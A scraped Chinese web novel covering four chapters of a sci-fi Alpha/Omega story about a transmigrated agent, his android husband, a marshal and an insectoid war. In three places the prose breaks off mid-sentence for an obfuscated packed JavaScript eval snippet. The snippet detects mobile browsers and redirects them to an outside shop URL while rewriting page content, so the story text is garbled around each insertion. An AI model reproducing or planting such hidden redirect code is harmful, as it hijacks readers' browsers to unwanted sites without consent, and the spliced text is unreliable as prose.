在安德烈失控之前,钟情退出来:“呀,踩到元帅的脚了。疼吗?” 安德烈收回手,摇头:“您轻得像小猫一样。” 钟情没多纠结,拉着安德烈向他感兴趣的其他武器跑去,迫不及待地要求主人立刻带他上手。他离开前线多年,这些武器很久没有碰过,有些新出的东西甚至不了解用法。 听过解说后,他就兴致勃勃地要自己试一试。他玩得开心,完全把带他上手的老师安德烈抛在脑后。 安德烈在他身后静静地看着钟情。 这样的画面在很多年上也上演过几次——年轻的助教解说武器,而比他更年轻的军校新生坐在下面安静地听着。 多年过去,记忆里的人如今已调转身份。 通讯器的声音突然响起。 钟情放下手里的东西,看着通话中安德烈的神色逐渐变得严肃。 “发生了什么事情吗?”通话结束后钟情问道。 “军部要求我立刻前往诺曼前线。”安德烈沉声道,他看向窗外,“他们来了。” “他们?” 窗外传来小型星舰的轰鸣声,钟情这才明白军部要求的“立刻”是什么意思。 “我的飞行器给你用。那上面有我专用的族徽,任何人都不会阻拦你,包括兰凯斯特家族。这里你只要想来,随时都可以来。” 安德烈轻轻拥住他,嘱咐道,“但是要注意安全。” 他很快就放开手,很谨慎地把这个拥抱控制在朋友的范围里。 钟情仍旧很忧虑。诺曼前线是严楫所在的战区,什么仗用得着两位元帅一起打? 安德烈心中再明白不过钟情此时究竟在担心谁,却只能挤出一个安抚的笑。 “不要担心,军部只不过是看不得我闲着。”微顿后他补充道,“我和他都会平安回来的。” * “为了躲避一场会造成世界末日的洪灾,人类根据上帝的指示,花费一百二十年建造出一艘能容纳人类和陆生动物的船,以此来保全人类最后的火种。这艘船就叫做诺亚方舟。” “让机器人对付虫族的军事战略在当时也被叫做‘诺亚计划’。” “当时的人们以为机器人会给人类带来最后的胜利——事实也确实如此。但虫族败亡之后,刚拯救人类于水火之中的神舟诺亚就变成了索命的撒旦。” “老师!” 有人站起来,大声问道,“既然说到虫族,老师可以给我们讲一下您对最近诺曼星系战况的看法吗?机器人消灭了虫族,为什么诺曼星系上又出现了虫族呢?” “虫族只是在地球上灭绝而已。它们是外来入侵物种,虽然以前并不知道它们究竟生活在哪颗星球上,但联盟不断扩张下去,遇上它们只是时间问题。” “至于你说的战况——” 恰巧下课铃声响起,钟情低头收拾讲桌上零零散散的东西,下垂的睫毛挡住他眼底的情绪,“这里离诺曼星系有一千四百三十万光年,所有战地新闻都经过几手转播,都不是我们亲眼所见。” 提问的学生眉头一皱:“所以老师的意思是,我们作为军校生,也只能像普通平民一样只是祈祷?” “不。”钟情抬头,看着讲台下一张张年轻稚嫩的脸,露出一个柔和却冷凝的微笑。 “我的意思是,联盟军校的图书馆有关于战争史学最多的藏书。人类繁衍至今,发动过无数战争,到现在已经没有新意可言。现代战争的每一种结局都能在那些书里面找到,我们现在面临的、和将要面临的,不过是我们的祖先曾经面对的。” 上完课照例前往研究所,白衣防护服的研究员拿着报告替他调配针剂。 “数据显示你最近有些焦虑。” “前线战事吃紧,我担心严楫。” 钟情这答案随口就来。早知道今天有检测,他特意让系统放了一晚上致郁电影,果不其然成功瞒过监测仪器。 不管是从深情男配的角度,还是Omega的角度,这一波深情人设都是很有必有卖的。 那人摘下护目镜,镜片后面是一张熟悉的脸。 竟然是亚德里恩。 “严楫是你最喜欢的学生。你不是一向最相信他的能力吗?” “可他这一次面对的是虫族。” 亚德里恩露出一丝僵硬的微笑:“虫族又如何?两百年前它们被你们赶尽杀绝,现在它们依然也只会是你们的手下败将。它们报复不了你们的。” 钟情摇头:“我并不觉得它们再次出现是想要复仇。我害怕的是,人类重蹈覆辙。” 虫族一直以来都被划作入侵物种,但最开始它们的入侵是非主动的。 它们的科技相当落后,根本不足以支撑它们做星际远航。把它们从外星系带到地球上的,是人类自己。 丑陋的虫子当然是人人喊打的存在,没有人会想到把外太空的虫子带回家。但虫子有多丑陋,它们的卵就有多么美丽。 那些卵颜色各异,通体晶莹,又异常坚硬。 在最开始,它们被当作地球上没有的一种水晶或者宝石,而前来驱赶人类的虫族被视作看守财宝的怪物。 全副武装的军队,在那时突然成为最贪婪的商人。 商人们打败了怪物,在满地断腿残肢中载着满船的宝石回到地球。 他们把宝石卖给珠宝商,珠宝商把它们镶嵌成项链,再卖给陷入美丽谎言的女人和想要讨好女人的男人。 虫卵迅速遍布全球最繁华的地方。 人们总是挑选温暖湿润的地方作为城市中心,此刻这些地方成为虫卵最好的温床。直到第一个虫卵破开后,人们才意识到它们不是美丽的宝石,而是可怕的灾难。 人类讨厌虫族,因为它们长相丑陋,还会钻入人类身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163284|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里寄生。但站在虫族的角度,人类无端抢走它们的孩子,最后又无端将它们杀害。 可虫族智商极低,完全没有做星际远航的能力。而人类飞船的监测功能已经极为完善,就算真的在太空中不幸遇上,也可以在不惊动它们的情况下离开。只要人类愿意,虫族没有任何复仇的渠道。 “有人故意把它们引了过来。”钟情把玩着手里的手术刀,“又或者,当年地球上的虫族根本就没有被消灭干净,有人冷冻了虫卵,带上逃生飞船,在两百年后,让它在自己的儿子身体里复活。” 翩飞的蝴蝶刀突然腾空而起,落下时钟情伸手握住刀柄,刀刃极快地一划,亚德里恩手臂上瞬间出现一道血线。 伤口里渗出的液体是幽绿色的黏液。 亚德里恩像是感觉不到疼:“我也很好奇罗素博士为什么会这么做。为了摆脱我的寄生,他的儿子不惜自杀,可他却为了保全我,亲手扼杀了自己儿子最后的意识。” 猜测被证实,钟情却一点高兴的感觉都没有。 他只觉得无可奈何。 “被寄生的人无法意识到自己被寄生。他为什么会察觉?” “因为他想要靠近您,而我想要离开您。” 钟情微微闭眼。 就是这样。 在军校的时候,除了严楫他最关注的就是亚德里恩,因为他的行为很异常。有时候和严楫一样,腻在他身边似乎永远也不会离开,有时候又像安德烈一样,站在遥远的角落,似乎永远也不会上前。 罗素家族世代遗传着一双浅蓝的眼睛,只有亚德里恩是异瞳,一只眼睛是宝石一样的黄色,就像……钟情曾经在战争史学课上看到过的虫卵照片。 “您不必自责。就算没有您,他也总有一日会因为无法再忍受基因实验而选择自杀。他是罗素家族唯一的Alpha,从出生那一刻起,就注定是这个科研世家的实验品。” “这么说,罗素博士一共放弃亚德里恩两次。” “确实如此。” 钟情低低道:“我应该见他最后一面的。” 亚德里恩沉默片刻,然后宣判:“您无法改变他的命运。” 钟情默然。 “基因谱上说,只有Alpha和Omega接受了基因编辑,牺牲作为人类的理智,让步于战斗和繁殖。但Beta有着最原始的基因,他们拥有智慧。”另外两种性别信任他们的智慧,把全联盟的命运交到他们手中。他们掌管着政治和科技,连隶属于军部Alpha们的研究所里也全都是Beta研究员。 “为了后嗣,能够牺牲同胞;为了研究,却能够牺牲后嗣。”钟情喃喃,“我很想知道,他们真的没有通过基因编辑,用作为人类的仁慈换取智慧吗?” “虫族共享记忆,我们的记忆不曾记载这些。”亚德里恩道,“如果真的有这笔交易,或许是在他们诞生的那一日,与魔鬼定下的吧。” 钟情平复好心情,终于抬起头,看着亚德里恩的异瞳:“我有什么可以帮你的吗?” 亚德里恩生硬地微笑:“为了找到我的星球,我的父亲定时提取我的信息素,现在我的腺体已经完全衰竭。我即将死去。如果您真的想帮助我……” 他指尖沾了些伤口处的绿色黏液,在钟情的手背上轻轻一抹。 “我血液里的气息会残留很久,虫族不会伤害您。如果您真的想帮助我,就请帮我为虫族找出一线生机吧。” 他唯一那只蓝眼睛也渐渐变成黄宝石的颜色,瞳仁中浮现密密麻麻的小点,就像是突然生出无数复眼,“请您离开吧。如果有朝一日时光倒流,我们就会再次相见。” 11. 女皇巢穴 战争对联盟其他地方的影响其实并不大。人们照常工作、起居,除了在听见最新的新闻时生出几丝忧虑以外,其他时候和平时没什么差别。 但一切在战争的主场诺曼星系便完全不同。 两百年过去,虫族已经成为历史,如今多数战士只在教科书上见到过它们。那也只是寥寥数语一笔带过,在真正面对之前,他们无法想象自己的敌人有多么丑陋和恐怖。 人在见到体型庞大的生物时会有天然的恐惧感。 Alpha改造计划的其中一项就是恐惧弱化,经过改造的Alpha战士面对站起来有两层楼高的虫族战士不至于像普通人那样恐惧,可也难免心生紧张。 只有最顶级的Alpha战士能经受住这种陌生的考验,在看见巨型虫族的一瞬间不受任何干扰地进入最佳战斗状态。 一场局部战斗刚刚结束。 虫族没有清理战场的习惯,所以战斗结束后只有人类的星舰仍旧徘徊在这里。 满地都是破碎的弹片、甲壳和翅膀。 残损的虫尸和舰船混在一起,绿莹莹的液体发出冲天臭气,前来搬运战友尸体的战士们实在无法忍受,不得不向远处一艘星舰上的长官申请防毒面具。 严楫回复完士兵的申请后继续看向可视光屏里的人。 “你觉得怎么样?” “这很危险。”对面的人简短地评价道。 “我当然知道,安德烈。但这值得一试。仗打到现在已经远远超出军部的计划,虫族和诺曼星人那边怎样还不清楚,可我们这边就快要撑不住了。” 严楫把视线移开,看向飞船的一角。那里被虫族士兵咬出一个大洞,主帅的星舰尚且如此,更别提士兵们的飞行器。 “在主舰上辅助我飞行的军官是我最信任的得力助手。他今天执飞时没注意到虫族从侧翼突进,被它们咬住了飞船的右翼。他的水平不该犯这样的错误……他们都太累了。” 安德烈沉默片刻。 严楫并不是再危言耸听,他那边同样有这样的事情发生。 半晌他道:“虫族士兵源源不断,而我们很难再有士兵的补给。” “军部一直以来被几位大人把控,军队对他们来说不止对付虫族一个作用。就算军部还有富余的兵力,他们为了自己的利益,也不会轻易让步。等到他们商量出一个公平决策来,我们的骨头怕是都已经白了。”说这话时严楫露出一个讥讽的冷笑。 他总是一副阳光和气的模样,偶尔冷下脸来,看上去竟然比常年不苟言笑的安德烈还要肃杀。 地面上不止有虫族的尸体,还有诺曼星人的尸体。 把他们叫做人只是出于对他们衍生出智慧的尊重,单从外表上来看,他们没有一个地方像人类。 他们更像地球海洋深处一种古老的软体动物——章鱼。 他们有八条灵活的长腕,完全伸展开来有两米长。每条腕上都有两排吸盘,吸力大得能将一个Alpha战士活活绞死。 腕部以上就是硕大的头部,只比人类的头部稍小一点。现在看来,这样的脑容量发展出的智慧也的确只比人类略差一点。 他们就像章鱼一样浑身遍布神经元,并且同样拥有两套记忆系统。 神经元与吸盘直接连接成的那套记忆系统,让他们的腕部被切断后不会立即死去,仍能在一段时间里做出反应,甚至能拿着武器继续参与战斗。而且,他们的武器并不比人类拥有的差多少。 这就是诺曼星系迟迟无法被攻下的原因。 一开始不是没有想过用利益打动他们,但诺曼星人是一个十分孤僻的种族,并且对他族的情绪高度敏感。 他们看出了人类贪得无厌的真面目,知道只要交出瑞铱金属矿,整个诺曼星系的土著都会变成采矿的奴隶。 所以他们直接回绝了人类请求通商的意愿,并将人类的最终意图直言不讳地指出。 恼羞成怒的军部命令研究所针对诺曼星人的特点研制出一种毒药,淬在子弹上射进他们的身体后,会迅速感染所有神经元,让他们行动迟缓、器官衰竭。 这样的武器的确很好用,诺曼星人很快就展开反击。他们不知从哪里找来虫族加入作战,淬毒的子弹连它们的甲壳都射不穿。 要想解决诺曼星人,就必须解决虫族。 “找到虫族女皇并不难。虫族没有远航技术,诺曼星人生性孤僻,对这方面研究也不多。而且时间紧迫,他们不可能去到很远的地方。所以,虫族的巢穴一定就在诺曼星系不远处。”严楫道。 “女皇身边一定有大量守卫。虫族的繁衍能力很强,诺曼星系的虫族士兵或许只是它们整体数量的百分之一。就算不是,他们也不会减弱对女皇的看护。”安德烈提醒。 “所以很有可能一去不回。”严楫不甚在意地笑笑,“看来让谁去才是真正的难题。” “Alpha战士都是不畏死的英雄,没人会拒接上级的命令。”但是亲口下令让自己的士兵去一个必死的地方,对长官来说是一件极其残忍的事情。 安德烈顿了一下,继续道,“你如果找不出人选,可以由我这边来下令。” 严楫没有说话。 他看向舷窗之外,清理战场的士兵面对战友的尸体也没有什么表情。 长久的作战消磨了他们对情绪的感知力,他们的身体的精神都已经逐渐变得麻木。 这是联盟外扩以来最棘手的一场战争,目前找不到任何可以赢的希望。久经沙场的战士对于战争会有一种奇怪的直觉—— 或许下场、下下场,就是一切结束的时候。 他们已经没有时间了。 移回视线后严楫道:“我已经有人选了。” “谁?” “我。” “你疯了吗?”安德烈皱眉,“K6大队不能没有长官坐镇。” “所以,安德烈·阿尔维尔加·兰凯斯特元帅,”严楫抬手向他行了一个标准的军礼。 “我请求,将K6大队暂时并入您的军队,在我凯旋之前,由您统一领导。” 安德烈沉默地注视良久,忽然高声喝道:“威尔次帅!” “是!” “我要和严楫元帅共同前去寻找虫族巢穴。从现在起,J7军团由你接管。” “……是!” 严楫无言地看着光屏里的画面,随后也像安德烈那样,将主舰的控制器转交副官。 “好兄弟。”他朝光屏里的人爽朗一笑,“我们一定会一起回来。” * “我对诺亚撒了个谎。”罗素博士盯着掌心里的录音笔,“我告诉他,你怀孕了。” 钟情:“……” 钟情:“您为什么这么做?” “我希望能干扰他的情绪,让他分神。最好能让他就此死在战场上,永远不再回来。”他看了眼钟情,“你不必笑话我,Alpha战士都是情绪和欲望的奴隶,这个计谋简单,但有效。” “这么说,之前那些意外死在战场上的Alpha将领,也有你们的手笔?” 罗素博士笑得很冷漠:“你不必同情他们。” 钟情当然不可能会同情他们。 Alpha拥有的权力并不比Beta少,就算他们在与Beta们的对峙中暂时失利,也可以靠欺负家里的Omega出气。 钟情有心泼他冷水:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163285|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您可能要失望了,严楫是S级的Alpha,不会这么轻易就被动摇心神。” “但是诺亚去了虫族老巢。这可就说不定了。” 钟情一惊。 “他要去杀虫族女皇?” “他们已经找到了女皇坐在的位置。”罗素博士按下一个按钮,“这是卫星传回的照片。” 照片上密密麻麻布满红点,每一个红点都代表着一大团汇聚在一起的虫群。 钟情缓慢地摇头。 “这不可能做到。” 罗素博士看上去居然比他还有信心。 “他是诺亚,逼得人类至今还在星际流浪的智能中枢。他不会做没有把握的事情。比起担心他,你为什么不担心一下兰凯斯特家的那个小子?他不也是你的学生吗?虫族对机器不感兴趣,诺亚兴许还能活着回来,兰凯斯特可就必死无疑了。” 研究所现在还不知道安德烈就是七代的复制数据,钟情故意道: “是么?可我觉得,只要严楫活着,就一定会把安德烈也带回来。他说过,安德烈是他最好的兄弟。” 罗素博士发出一声怪笑:“他是仿生人,他的大脑中枢只是一块芯片。你觉得他会对人类有感情?” 钟情面露讥讽:“您似乎忘了当时你们把我带进这里的理由。他会对人类有感情吗——这个问题我原封不动问过你们。当时你们告诉我,他是仿生人诺亚,也是你们告诉我,他爱我。” “对诺亚的所有情绪监测显示,他只有在遇见你的时候才会像一个正常人那样有情绪起伏。其他时候,他就算是在大笑,情绪也没有丝毫波动。他的确很喜欢你,我不否认这一点。” 他走到角落一扇暗门,打开那上面的可视光屏。 光屏上浮现出门后密室的景象。 一只硕大的虫族像雕像一样静静立在那里,黄色的眼睛里满是黑点。地上到处是绿色的黏液,漂浮着破碎的……人类皮肤和内脏。 它似乎意识到有人来了,发出阵阵无力的嗡鸣。 罗素博士拿出翻译器递给钟情。 屏幕上断断续续打出一段完整的话。 “不要担心……他们是人类联盟中最好的战士,没有什么会难倒他们……他们会胜利的。” 罗素博士长久地沉默着,脸上的表情不知是嘲讽还是悲伤。大概再怎么铁石心肠的人,亲眼见到自己的儿子变成这副模样,也还是会有所触动。 他很快从情绪中清醒过来,恢复成无动于衷的模样。 “人类战士在攻打它的种族,但为了安抚你,它居然替你为他们祈祷。你看,你总有这个本事,能叫各种怪物爱上你。亚德里恩如此,诺亚也如此。但这并不能证明诺亚会对别的人类抱有一丝感情。” 钟情无心与他争辩,他看着垂死的虫族,心中与他做了最后的告别。 他问:“你们是如何判定严楫就是诺亚的?人类当中不乏对同胞毫无感情的人,仅凭这一点恐怕不能认定吧?” “当然不能。仿生人区别于人类最大的特点便是,他们可以改造自己的身体。” 面对一个小小Omega,罗素博士自觉无需隐瞒。 “两百年来我们秘密监视着所有进行过等级突破的人,直到看见严楫。他的情绪冷静得根本不像一个Alpha,除了在见到你的时候。所以……” 他没有说出最后半句话,但钟情再明白不过—— 所以,他们对他射出那颗子弹。 得到想要的信息,钟情提步离开。 在关上门的那一刻,他停下来说了最后一句话。 “博士,您又错了。亚德里恩不是在为我祈祷,他只是在陈述事实。” 12. 骨灰与吻 这的确是一个事实。 半个月后诺曼星系传来大获全胜的捷报,所有的新闻播报器都在播放有关战争的事情。 在对战利品的清点、回盘和军部重要人物的讲话声中,全联盟大大小小上千个星系都沉浸在胜利的喜悦当中,到处张灯结彩,祝贺的烟花随着星船发射到宇宙深处。 军队回程的那天开始,钟情开始更加细致地照顾他的玫瑰。 等到军人们在军部报道结束各自回家的时候,他摘下一大捧鲜花,每一朵都精挑细选,包裹在牛皮纸里用绸带一丝不苟地扎好。 天空嗡鸣声不断,不时有飞行器和小型星舰在头顶飞过。钟情抱着花站在门边,等着一架来自军部的、会在这扇大门前停下的飞行器。 终于,一架飞行器在他面前缓缓停下。 舱门打开,走出的人却不是他以为的那个人。 是安德烈。 钟情朝安德烈身后看去,第二个跟出来的人是他的副帅。他站在原地,耐心地等候第三个人走出来。 但直到舱门关闭,飞行器顺着轨道滑进船库,那个人也没有出来。 副帅的手里捧着一个黑色的盒子。他的表情悲伤,似乎带来了什么极为糟糕的消息。 钟情一时间没有反应过来。 【系统!严楫死了!?】 系统也很意外:【我这里显示没有。】 【可是骨灰盒都给我带回来了!】 系统想了想:【也不一定就是严楫的。】 最初的震惊转瞬即逝。 钟情冷静下来。没错,严楫肯定还没死。如果他死了,这个世界的任务结束,他会立刻传送回局里。 钟情心中一沉。 严楫大概是出了什么意外。这下完了,没有他的下落,猴年马月才能完成任务? 他心中思绪万分,没注意手一松,怀中的花束跌落在地。花瓣上的水珠砸得粉碎,火红娇艳的花朵蒙尘,一瞬间变得黯淡无光。 这动静唤回他心神,考验演技的时刻到了。 钟情在原地怔怔看着他们一步步走近,突然转身向房间里跑去。 心脏不愿意接受事实,但是真相早就通过他的眼睛被传递到大脑里。翻滚的情绪在他的身体里横冲直撞,猛烈的眩晕中他甚至没办法看清前方的路。 脚下似乎被绊了一下,他踉跄着向前跌倒。 手臂磕在某个坚硬的物体上,先是摸到一手粘稠的血液,随后才感受到迟钝的痛意。被疲劳麻痹的神经也不觉得这有多痛,比不上脖子后面腺体传来的疼痛。 满室失控的信息素里,桃子的味道第一次压制住玫瑰花香。 桃子的味道本该是甜蜜的,此时却仿佛酿进情人的眼泪,变得苦涩无比,向来霸道的玫瑰花香在这样的苦涩下也只能丢盔弃甲。 它缩手缩脚,对突如其来的眼泪茫然无措。 安德烈把他从台阶上抱起来,安顿到楼上的卧房里。副帅到处找急救包,找到后大汗淋漓地往卧室送,却见元帅已经把一针镇静剂打进钟情的身体。 镇静剂很快生效,疼痛和眼泪都在睡意下逐渐消失。 房间里两个男人沉默地守在床边,彼此都不知道该如何应对镇静剂药效过去之后的事情。 钟情这一觉睡得很沉,严楫走后,受完全标记的折磨,他再也没有这样彻底的睡过一觉。 以致于在睁眼后的一小段时间里,他看着身边的两个人想不起发生了什么。等他彻底清醒的时候,眼泪已经先一步落下来。 安德烈无法想象一个人会有这么多泪水可以流。 前一颗泪珠刚溢出眼眶,后一颗就跟着滚落下来。没有人能面无表情地直视那双泛红眼睛的悲伤,副帅已经不忍地转身站在角落里看着墙壁,连安德烈也侧过头去。 “盒子呢?” 声音里难掩大悲之后的虚弱,但是已经没有泣音。安德烈抬头,看见钟情已经擦干净眼泪,脸色苍白却极力强撑出平静冷淡的神情。 副帅立刻下楼去拿严楫的骨灰盒,钟情于是又问:“为什么?” “虫族女皇在严楫身上寄生了。” 安德烈缓慢地说,“他是自己开的枪。” 只不过短短两句话就让钟情的心口一阵疼痛。 在副帅把黑色的骨灰盒递到他手上的时候,那阵闷疼变成绞痛。 抑制剂快失效了。 他满头冷汗,抓住安德烈的袖口:“罗素博士。” 安德烈听见他轻得像抽气一样的声音说: “去找他……我要见他。” 房间里只剩下两个人。 罗素博士立在钟情床前,面容冷漠。十分钟前,安德烈用枪抵着他的脑袋,把他强行押到这里来。 “你还真是厉害,能把联盟最冷淡的Alpha也变成一条疯狗。” 钟情微笑。他的面色依然苍白,声音嘶哑,是情绪过度悲痛的后遗症。 “怎么比得上博士您呢?同时受雇于Alpha和Beta,只需要动动手指献出一组数据,就能让军部和政部大开杀戒。” “你知道得不少。” 钟情谦逊道:“飞鸟一直是您最优秀的下属。” 罗素博士轻蔑一笑:“诺亚死了,依附诺亚而生的飞鸟也没有存在的必要。你已经没有资格以飞鸟自称,系统很快就会将你除名。” “军部就这般无情吗?” “为了让你活下去监视诺亚,你猜军部一年需要花多少钱?你所需的阻滞剂和抑制剂,一支的价钱就比一颗小行星整年税金还要高。诺亚死了,没人会为你承担这些费用。” “为了使我顺理成章地嫁给严楫,军部不惜把联盟唯一的Omega战士变成废人;为了使我忠心耿耿永不反叛,政部不惜把我的父亲、一位前途无量的研究员圈禁首都星。”钟情冷笑,“军部为我的牺牲支付了费用,现在该轮到政部了。” 罗素博士像是听到天大的笑话:“你不如现在去外面抱着兰凯斯特家的疯狗掉几滴眼泪,说不定他会愿意为你支付这一大笔钱。” 钟情自顾自道:“请转告议长大人,别急着把我踢出研究院,除非他不想要找到诺亚的复制数据。” “你说谁?” 钟情没有回答,他看向窗外。 楼下花园中,体型高大身材修长的年轻军官长久地站在原地,盯着地上的黄玫瑰不知道在想些什么。过了很久他蹲下来把那束花捡起来,轻轻地擦拭花瓣上沾染的灰尘。 罗素博士讥讽地大笑道:“他被你迷得晕头转向,正好方便你故技重施。真是一个好人选,不是吗?” 他突兀地止住笑声,刻薄地说:“但是你能怎么证明呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163286|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了他?然后掏出他的电子心脏,还是挖出他大脑里的芯片?” 钟情微笑:“博士觉得我做不到吗?” 罗素博士哑口无言。他浑浊的眼睛死死盯着钟情,喉咙里一字一句地挤出:“你根本就是个怪物。” “真正的怪物是诺亚。”钟情平静地说,“我不过是一个需要倚仗你们才能活下去的废人,机器人彻底从联盟绝迹的那一天,我就会成为您案板上的鱼肉。您何必急于一时呢?” 罗素博士沉默不语。 钟情道:“既然博士犹豫,不如把我的话转告给戈雅·罗斯蒙德。他出身自联盟最具智慧的Beta家族,应该知道怎么做。” 罗素博士阴沉地看了他一眼,在手腕上的光脑中轻点几下。很快通讯请求接通,光屏上年轻的议长大人听见他的话并没有生气,反倒玩味地轻笑一声,金色钢笔在指尖一转,签署下契约。 关闭光屏,罗素博士的脸色变得极其难看,却还是不得不开口。 “议长同意了。他承诺为你提供药物,还承诺为你保护在首都星上的家人。但是,他不会插手军部的事情。” 钟情明白他的意思。 严楫一死,严家人必定会来找他麻烦。严家是元帅世家,掌管军部一半军权,政部不会轻易和他们对上。 “转告罗斯蒙德,我很感谢他的援手。我会给他一个满意的答复。” “那你就自求多福吧。可别还没找到安德烈的疑点,就先死在严家人手里。” 罗素博士转身离去。 钟情目送他的背影消失在转角,闭眼躺下休息。完全标记让他心中烦躁不堪,新的抑制剂却要明天才能到。 系统有些疑惑:【员工,你是想把暗杀目标改成安德烈吗?】 【算是吧。】钟情给出一个模棱两可的答案,【主要是严楫现在下落不明,我想动手也没办法。】 系统提醒道:【安德烈很谨慎。】 钟情笑了一下:【统子哥,你有没有想过,如果是安德烈谋害的严楫呢?】 他们是同一根支柱分裂而来的两位男主,所有的配置一模一样,凭什么严楫尸骨无存,而安德烈却能全身而退? 钟情没向系统过多解释,只是意味深长地说:【说不定不久之后,我就能弄清楚,他到底是早就察觉一切都是幻梦,还是从未从幻梦中清醒过。】 罗素博士在走出院门的时候被安德烈拦下。 他没好气地问:“什么事?” “他的身体怎么样了?” “他好得很。” “那他的孩子呢?” “什么孩子?”微愣后才想起之前的谎言,罗素博士轻蔑得意地笑了一下,“他没有怀孕,那是医生误诊。” 他说完便转头离去,也就没看见安德烈的脸色在他话音落下的一瞬间变得极为可怖。 安德烈回到钟情的房间。 床上的人已经因为长时间的谈话疲惫不堪,沉沉睡去。安德烈在他床头单膝跪下,执起他放在床边的手,看着那苍白皮肤下青紫的血管,不知在想些什么,眼中情绪明明灭灭,焦躁、嫉恨、愧疚交错闪过,俱都化作悲伤,最后悲伤也消失不见,只剩一片寂寥的空白。 良久,他在那只手上落下一吻。 这个吻无比轻缓却又无比坚定,如同破釜沉舟、孤注一掷。 13. 来世再见 严家人来得很快。 他们原本不敢来军区造次,但严楫的死对严家来说是一个巨大的打击,为了安抚他们的怒火,军部放任了他们在军区的放肆。 他们首先派来几个人,美名其曰是来照顾钟情身体,实际上将他圈禁起来,连卧室都不让他出。 对严楫的惧怕已经让他们走火入魔了,这所房子的每一个角落都要仔细排查,确认没有半点危险之后,他们才敢进行下一步计划。 他们把这种惧怕变成仇恨通通转移到钟情身上。 就像钝刀子割肉一样,每天从这所房子里取走一点东西,最开始只是拿走值钱的摆设,后来逐渐断水断电,再后来连食物也不肯为他准备。 还是最开始派来圈禁他的几个人看不下去,偷偷照拂,才然他不至于一开始就被折磨致死。 渐渐的家里所有东西都几乎被搬空,他们便开始破坏这所房子。 玻璃敲碎,洁白的墙上胡乱喷漆,花园里的植物连根拔起丢在太阳底下暴晒,天台上大片爬墙玫瑰被扯下来践踏,花房里娇养的瑞云殿被当着主人的面一点点撕掉花瓣,洒在他床上。 他们都是严楫的血亲,折磨起他的遗孀却绝不手软。 他们很清楚地知道什么样的话能将他的心理防线彻底击破: “都是你害死了他!” “你就是个废人,帮不了严楫,只会拖累他!” “严楫死了,你怎么还有脸活下去!” 最后被抢走的是严楫的骨灰盒。 他们翻遍了整个卧室,最后在钟情的枕头后面找到它。在他们的所有暴行面前,钟情从没反抗过,连一句重话都没有说过。 只有这一次,他把小盒子挡在自己身后,不愿让人带走它。 但是重病下的身体完全没有抵抗的力气,那些人轻而易举就把他推开。眼泪、哀求、拖拽时磨破的皮肤和血迹,都没能让这些已经抢红眼睛的人收手。 但在严家人准备满载而归时,有人先一步堵住大门。 他匆匆上楼,军服衣摆掀起一路凌厉的寒风。见到狼藉一片的屋内,他的脸很明显地沉下来。 有人厉声责问:“安德烈,你来干什么?” 安德烈的回应是一发子弹。 子弹精准地射中那人的腿骨,他立刻倒地哀嚎起来。旁边的人愤怒道:“安德烈·兰凯斯特!你是要与严家为敌吗?” 安德烈轻慢地看了他一眼,宛如看一个死人。 那人被吓得后退一步,哪怕见到安德烈上前去将严楫的遗孀抱起,也没敢说出一句话。 钟情靠在安德烈怀中,他已经烧得神志不清,却还在不停地喃喃:“还给我……严楫……” 安德烈脚步一顿,最终还是捡起地上的骨灰盒。 钟情再次醒来时,身下不再是被剪烂的床单,眼前的装潢虽然空洞,但至少是完好的。 有人拿着棉签沾了水帮他润唇。 钟情勉强抬眼,看清是安德烈。 “严楫……” 听见他的声音,安德烈眼中一丝怒气转瞬即逝。他拿起床头柜上的盒子,放在钟情枕边。 他始终一言不发,虽说对于这个闷葫芦来说,这再正常不过。但钟情心里明白,安德烈是在生他的气。 安德烈回来的第一天就提出要把他带走,避开严家的骚扰,钟情没有答应。后来更是直接闭门谢客,断绝和安德烈的一切往来——这么好的机会,不努力装一波深情,岂不是太可惜了? 钟情慢慢将骨灰盒抱在怀中,神色哀伤。 安德烈心中泛起淡淡的涩意。他忽视那异样的感觉,冷淡地开口:“你的仆人跑来找我,说你的状态很危险。那里已经不能住人了,如果你继续留在那里,他们永远不会收手。所以我把你带到这里来。” “元帅知道这样做会有什么后果吗?您会陷入别人的非议的。” 刚从昏迷中醒来,钟情的声音有些含糊不清。 安德烈像是没听清,凑近后问:“你说什么?” “元帅这样做会陷入——” 重复到一半,钟情停下来。 他们之间的距离太近了,安德烈的脸颊都快要碰到他的鼻尖。钟情闭上眼,转过头去拉开距离。 安德烈还在问:“你说什么?” 见床上的人不再开口说要离开,他重新坐直身体。心中连日的阴霾终于消散,他嘴角浮出一丝隐秘的微笑。 他向窗外望去,不远处那幢白色洋房曾经美丽得像一位头戴花环的美人,如今只剩一副破败景象。 他一点不觉得可惜,因为真正的美人正在他家里。 